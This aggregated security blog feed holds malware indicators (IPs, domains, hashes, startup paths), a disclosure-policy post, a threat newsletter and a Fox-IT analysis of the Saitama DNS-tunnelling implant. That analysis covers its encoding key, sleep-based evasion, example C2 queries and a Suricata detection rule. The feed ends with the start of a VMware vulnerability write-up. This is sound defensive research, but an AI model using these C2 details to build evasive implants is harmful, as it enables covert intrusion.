63[.]251[.]235[.]76 25
64[.]225[.]91[.]73 25
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
google[.]com 25
gjvoemsjvb[.]com 25
ahpygyxe[.]com 25
msoalrhvphqrnjv[.]com 25
rdslmvlipid[.]com 25
jpcqdmfvn[.]com 25
rrmlyaviljwuoph[.]com 25
maajnyhst[.]com 25
enbbojmjpss[.]com 25
oqmfrxak[.]com 25
tdccjwtetv[.]com 25
tpxobasr[.]com 25
xpdsuvpcvrcrnwbxqfx[.]com 25
fbrlgikmlriqlvel[.]com 25
boeyrhmrd[.]com 25
ugcukkcpplmouoah[.]com 25
gugendolik[.]com 25
Files and or directories created Occurrences
%LOCALAPPDATA%\bolpidti 26
%LOCALAPPDATA%\bolpidti\judcsgdy.exe 26
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\judcsgdy.exe 26

File Hashes

081742e8ed56a1a933e0507ccd536aaaf7242ac76d47a1a49626ee71c6756b53 0e372167303e500219b580a1a0367d2b69ab693e56934584e05cd963736bd463 10cef31349a4842546edbc5244d0d3aaed1e3c058008800c889abf5dc43ec343 127ee9c2897fb600dec742861451fdcf48820c200e15df7479542ed4232c0584 155b0301ce2f88c396fb7aa77cbc82c51a01660e6a74b63f7ba8dc8f023ea7e8 1e1773938b5bdd08be479ca9186a30d3fad83ea67ae905f391508ac543c2a38f 263351025d462b47660ea4bacd71ae1fd694de45a3d9bd5b14e58be1c4362d00 2e2ac92783031efdde48674b0ed3362c81fac9b25756ee39af1629f39309ccc2 340833674362d0c01995cc8657a95a628fddeb853272b6d89dfcf98bbe106cbe 39b9cfa59e688e1d56e6499b80637f321f777d022dff4a9eaf691ba9a1e9cc86 3cc065b26f54c993606649d1679bca81068c10e3727fdf9ee811fa6a17c1ebad 41b21c4398fa089007a9a34aac8a3f5d14b61814ff036b555cc6b09c8efd81aa 4b183d215f86d026ef2bac0cf5dd4b28146612d52206e358169b0f1d3209c76d 4ed2cf991c4ed810cdbb5d567d33e1f1d94218ae43c506d6b33d2acc35009598 57fa2ea50d27a8cc8feec2867a680ae6e9a0d1a47d117733a73db86da3bf8416 5de59e2cc183ce5f34b2ca66fbd1edce54b3a6208ae7621c49cbd78835bdcbf5 699e006e4a6871ca898aacf55f84c36ea43d8b9e421b71dd20a0fe5a06378d66 6a216904abbf52246819029936c7e8705f50c61ba0ee6a62d8a14881cfca0a33 77aeccd3d538a6effc3623344a331d5190c747489a5cc511d4e7d973e879ff8a 77c966ca4088e8b918b4e40ed539a510fad2a2631ff17d1a1b01a1670e6fa400 79622d5b5ef3c93d32bcaaba64cfbbe4a88ec7f56d1f7f2160b9219321058f29 8c878b6608dba85c650ffda157cc14d885f14559e8c6b38a5ae0be85d5a73001 8d5f17bf76258cf83d0678cef645b0fa2f0b6df56858fb0ec4cab8894b59b316 a1574bfff6cebf0757ab5a7fc7634b7956fed8943e088b87820ff13be65789c4 af0aa7289a5770da3a158d0f0fbea1c5073b6ca4f6fe5a7bebdde44a55ca2c2e
*See JSON for more IOCs

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella This has coverage
WSA This has coverage

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





New Disclosure Timelines for Bugs Resulting from Incomplete Patches

11 August 2022 at 19:00

Today at the Black Hat USA conference, we announced some new disclosure timelines. Our standard 120-day disclosure timeline for most vulnerabilities remains, but for bug reports that result from faulty or incomplete patches, we will use a shorter timeline. Moving forward, the ZDI will adopt a tiered approach based on the severity of the bug and the efficacy of the original fix. The first tier will be a 30-day timeframe for most Critical-rated cases where exploitation is detected or expected. The second level will be a 60-day interval for Critical- and High-severity bugs where the patch offers some protections. Finally, there will be a 90-day period for other severities where no imminent exploitation is expected. As with our normal timelines, extensions will be limited and granted on a case-by-case basis.

Since 2005, the ZDI has disclosed more than 10,000 vulnerabilities to countless vendors. These bug reports and subsequent patches allow us to speak from vast experience when it comes to the topic of bug disclosure. Over the last few years, we’ve noticed a disturbing trend – a decrease in patch quality and a reduction in communications surrounding the patch. This has resulted in enterprises losing their ability to accurately estimate the risk to their systems. It’s also costing them money and resources as bad patches get re-released and thus re-applied.

Adjusting our disclosure timelines is one of the few areas that we as a disclosure wholesaler can control, and it’s something we have used in the past with positive results. For example, our disclosure timeline used to be 180 days. However, based on data we tracked through vulnerability disclosure and patch release, we were able to lower that to 120 days, which helped reduce the vendor’s overall time-to-fix. Moving forward, we will be tracking failed patches more closely and will make future policy adjustments based on the data we collect.

Another thing we announced today is the creation of a new Twitter handle: @thezdibugs. This feed will only tweet out published advisories that are either a high CVSS, 0-day, or resulting from Pwn2Own. If you’re interested in those types of bug reports, we ask that you give it a follow. We’re also now on Instagram, and you can follow us there if you prefer that platform over Twitter.

Looking at our published and upcoming bug reports, we are on track for our busiest year ever – for the third year in a row. That also means we’ll have plenty of data to look at as we track incomplete or otherwise faulty patches, and we’ll use this data to adjust these timelines as needed based on what we are seeing across the industry. Other groups may have different timelines, but this is our starting point. With an estimated 1,700 disclosures this year alone, we should be able to gather plenty of metrics. Hopefully, we will see improvements as time goes on.

Until then, stay tuned to this blog for updates, subscribe to our YouTube channel, and follow us on Twitter for the latest news and research from the ZDI. 

New Disclosure Timelines for Bugs Resulting from Incomplete Patches

Threat Source newsletter (Aug. 11, 2022) — All of the things-as-a-service

11 August 2022 at 18:00

By Jon Munshaw. 

Welcome to this week’s edition of the Threat Source newsletter. 

Everyone seems to want to create the next “Netflix” of something. Xbox’s Game Pass is the “Netflix of video games.” Rent the Runway is a “Netflix of fashion” where customers subscribe to a rotation of fancy clothes. 

And now threat actors are looking to be the “Netflix of malware.” All categories of malware have some sort of "as-a-service" twist now. Some of the largest ransomware groups in the world operate “as a service,” allowing smaller groups to pay a fee in exchange for using the larger group’s tools.  

Our latest report on information-stealers points out that “infostealers as-a-service" are growing in popularity, and our researchers also discovered a new “C2 as-a-service" platform where attackers can pay to have this third-party site act as their command and control. And like Netflix, this Dark Utilities site offers several other layers of tools and malware to choose from. This is a particularly scary trend to me because of how easy — relatively speaking — this makes things for anyone with a basic knowledge of computers to carry out a cyber attack. Netflix made it easy for people like my Grandma to find everything she needs in one place to watch anything from throwback shows like “Night Rider” to the live action of “Shrek: The Musical” and everything in between.  

How much longer before anyone with access to the internet can log into a singular dark web site and surf for whatever they’re in the mood for that day? As someone who has spent zero time on the actual dark web, this may already exist and I don’t even know about it, but maybe a threat actor will one day be smart enough to make a website that looks as sleek as Netflix so you can scroll through suggestions and hand-pick the Redline information-stealer followed up by a relaxing evening of ransomware from Conti.  

With everything going “as a service” it means I don’t necessarily have to have the coding skills to create my own bespoke malware. So long as I have the cash, I could conceivably buy an out-of-the-box tool online and deploy it against whoever I want.  

This is not necessarily as easy as picking a show on Netflix. But it’s not a huge leap to look at the skills gap Netflix closes by allowing my Grandma to surf for any show she wants without having to scroll through cable channels or drive to the library to check out a DVD, and someone who knows how to use PowerShell being able to launch an “as-a-service" ransomware attack.  

I have no idea what the easy solution is here aside from all the traditional forms of detection and prevention we preach. Outside of direct law enforcement intervention, there are few ways to take these “as a service” platforms offline. Maybe that just means we need to start working on the “Netflix of cybersecurity tools.” 
  

The one big thing 


Historically, cybercrime was considered white-collar criminal behavior perpetrated by those that were knowledgeable and turned bad. Now, technology has become such an integral part of our lives that anyone with a smartphone and desire can get started in cybercrime. The growth of cryptocurrencies and associated anonymity, whether legitimate or not, has garnered the attention of criminals that formerly operated in traditional criminal enterprises and have now shifted to cybercrime and identity theft. New research from Talos indicates that small-time criminals are increasingly taking part in online crime like phishing, credit card scams and more in favor of traditional “hands-on” crime. 

Why do I care? 

Everyone panics when the local news shows a graph with “violent crime” increasing in our respective areas. So we should be just as worried about the increase in cybercrime over the past few years, and the potential for it to grow. As mentioned above, “as a service” malware offerings have made it easier for anyone with internet access to carry out a cyber attack and deploy ransomware or just try to scam someone out of a few thousand dollars.  

So now what? 

Law enforcement, especially at the local level, is going to need to evolve along with the criminals as they are tasked with protecting the general public. The future criminal is going to be aware of operational security and technologies like Tor to make their arrests increasingly difficult. This is just as good a time as any to remember to talk to your family about cybersecurity and internet safety. Remind family members about common types of scams like the classic “I’m in the hospital and need money.” 

 

Other news of note


Microsoft Patch Tuesday was headlined by another zero-day vulnerability in the Microsoft Support Diagnostics Tool (MSDT). CVE-2022-35743 and CVE-2022-34713 are remote code execution vulnerabilities in MSDT. However, only CVE-2022-34713 has been exploited in the wild and Microsoft considers it “more likely” to be exploited. MSDT was already the target of the so-called “Follina” zero-day vulnerability in June. In all, Microsoft patched more than 120 vulnerabilities across all its products. Adobe also released updates to fix 25 vulnerabilities on Tuesday, mainly in Adobe Acrobat Reader. One critical vulnerability could lead to arbitrary code execution and memory leak. (Talos blog, Krebs on Security, SecurityWeek

Some of the U.K.’s 111 services were disrupted earlier this week after a suspected cyber attack against its managed service provider. The country’s National Health System warned residents that some emergency calls could be delayed and others could not schedule health appointments. Advance, the target of the attack, said it was investigating the potential theft of patient data. As of Thursday morning, at least nine NHS mental health trusts could face up to three weeks without access to vulnerable patients’ records, though the incident has been “contained.” (SC Magazine, Bloomberg, The Guardian

An 18-year-old and her mother are facing charges in Nebraska over an alleged medicated abortion based on information obtained from Facebook messages. Court records indicate state law enforcement submitted a search warrant to Meta, the parent company of Facebook, demanding all private data, including messages, that the company had for the two people charged. The contents of those messages were then used as the basis of a second search warrant, in which additional computers and devices were confiscated. Although the investigation began before the U.S. Supreme Court’s reversal of Roe v. Wade, the case highlights a renewed focus on digital privacy and data storage. (Vice, CNN

Can’t get enough Talos? 


Upcoming events where you can find Talos 


USENIX Security '22 (Aug. 10 - 12, 2022) 
Las Vegas, Nevada 

DEF CON (Aug. 11 - 14, 2022) 
Las Vegas, Nevada 

Virtual 

Most prevalent malware files from Talos telemetry over the past week  


SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
MD5: 93fefc3e88ffb78abb36365fa5cf857c  
Typical Filename: Wextract  
Claimed Product: Internet Explorer  
Detection Name: PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg  

MD5: 2c8ea737a232fd03ab80db672d50a17a    
Typical Filename: LwssPlayer.scr    
Claimed Product: 梦想之巅幻灯播放器    
Detection Name: Auto.125E12.241442.in02    

MD5: a087b2e6ec57b08c0d0750c60f96a74c     
Typical Filename: AAct.exe     
Claimed Product: N/A       
Detection Name: PUA.Win.Tool.Kmsauto::1201  

MD5: 8c69830a50fb85d8a794fa46643493b2  
Typical Filename: AAct.exe  
Claimed Product: N/A   
Detection Name: PUA.Win.Dropper.Generic::1201  

MD5: 311d64e4892f75019ee257b8377c723e  
Typical Filename: ultrasurf-21-32.exe  
Claimed Product: N/A    
Detection Name: W32.DFC.MalParent 

Detecting DNS implants: Old kitten, new tricks – A Saitama Case Study 

11 August 2022 at 16:05

Max Groot & Ruud van Luijk

TL;DR

A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama. The developed implementation as well as recordings of the implant are shared on the Fox-IT GitHub.

Introduction

For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.  

In May 2022, security firm Malwarebytes published a two1-part2 blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.  

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.  

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama on the Fox-IT GitHub. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection. 

Reconstructing the Saitama traffic 

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere3. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available. 

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP. 

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.  

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.  

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’. 

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down. 

Function used by Saitama client to convert an integer into an encoded string

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.   

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.  

Server-side implementation to arrive at the same shuffled alphabet as the client

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.  

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.  

Sleep configuration of the implant. The integers represent sleep times in milliseconds.

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.  

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server.  


Transmission between server implementation and the implant

Transmission between server implementation and the implant 

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command. 

Detection

Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.  

Signature-based 

Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule: 

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;)

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts. 

Content Match  Explanation 
00 01 00 00 00 00 00 00  DNS query header. This match is mostly used to place the pointer at the correct position for the byte_test content matches. 
byte_test:1,>=,0x1c,0,relative;  Next byte should be at least decimal 25. This byte signifies the length of the coming subdomain 
byte_test:1,<=,0x1f,0,relative;  The same byte as the previous one should be at most 31. 
dns_query; content:”.”; content:”.”; distance:1; content:!”.”;  DNS query should contain precisely two ‘.’ characters 
pcre:”/^(?=[0-9][a-z]|[a-z][0-9])[a-z0-9] {28,31} 
\.[^.]\.[a-z]$/”; 
Subdomain in DNS query should contain at least one number and one letter, and no other types of characters.
threshold:type both, track by_src, count 50, seconds 3600  Only trigger if there are more than 50 queries in the last 3600 seconds. And only trigger once per 3600 seconds. 
Table one: Content matches for Suricata IDS rule

 
The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes. 

Behaviour-based 

The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about4, is better suited.  

Hacktool  Example 
DNScat2  35bc006955018b0021636f6d6d616e642073657373696f6e00.domain.tld5 
Weasel  pj7gatv3j2iz-dvyverpewpnnu–ykuct3gtbqoop2smr3mkxqt4.ab.abdc.domain.tld 
Anchor  ueajx6snh6xick6iagmhvmbndj.domain.tld6 
Cobalt Strike  Api.abcdefgh0.123456.dns.example.com or   post. 4c6f72656d20697073756d20646f6c6f722073697420616d65742073756e74207175697320756c6c616d636f20616420646f6c6f7220616c69717569702073756e7420636f6d6d6f646f20656975736d6f642070726.c123456.dns.example.com 
Sliver  3eHUMj4LUA4HacKK2yuXew6ko1n45LnxZoeZDeJacUMT8ybuFciQ63AxVtjbmHD.fAh5MYs44zH8pWTugjdEQfrKNPeiN9SSXm7pFT5qvY43eJ9T4NyxFFPyuyMRDpx.GhAwhzJCgVsTn6w5C4aH8BeRjTrrvhq.domain.tld 
Saitama  6wcrrrry9i8t5b8fyfjrrlz9iw9arpcl.domain.tld 
Table two: Example DNS queries for various toolings that support DNS tunnelling

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.  

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.  

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives. 

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign. 

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs. 

Conclusion

When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes. 

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.  

Resources

With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.  

The server-side implementation of Saitama can be found on the Fox-IT GitHub.  

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP. 

References

[1] https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/ 
[2] https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/ 
[3] https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
[4] https://blog.fox-it.com/2019/06/11/using-anomaly-detection-to-find-malicious-domains/   

Microsoft Bug Bounty Programs Year in Review: $13.7M in Rewards

11 August 2022 at 16:00
By: msrc
The Microsoft Bug Bounty Programs and partnerships with the global security research community are important parts of Microsoft’s holistic approach to defending customers against security threats. Our bounty programs incentivize security research in high-impact areas to stay ahead of the ever-changing security landscapes, emerging technology, and new threats. Security Researchers help us secure millions of …

Microsoft Bug Bounty Programs Year in Review: $13.7M in Rewards Read More »

IAM Whoever I Say IAM :: Infiltrating VMWare Workspace ONE Access Using a 0-Click Exploit

11 August 2022 at 14:00

VMWare Workspace ONE Access

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

  1. Cisco Identity Services Engine

    This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.

  2. ForgeRock OpenAM

    This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.

  3. Oracle Access Manager (OAM)

    Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.

  4. VMWare Workspace ONE Access

    Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

    The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

  1. Heavy use of Spring libraries

    This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

    Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.

  2. Minimal attack surface

    There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.

  3. Code quality

    The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.


OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }

The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
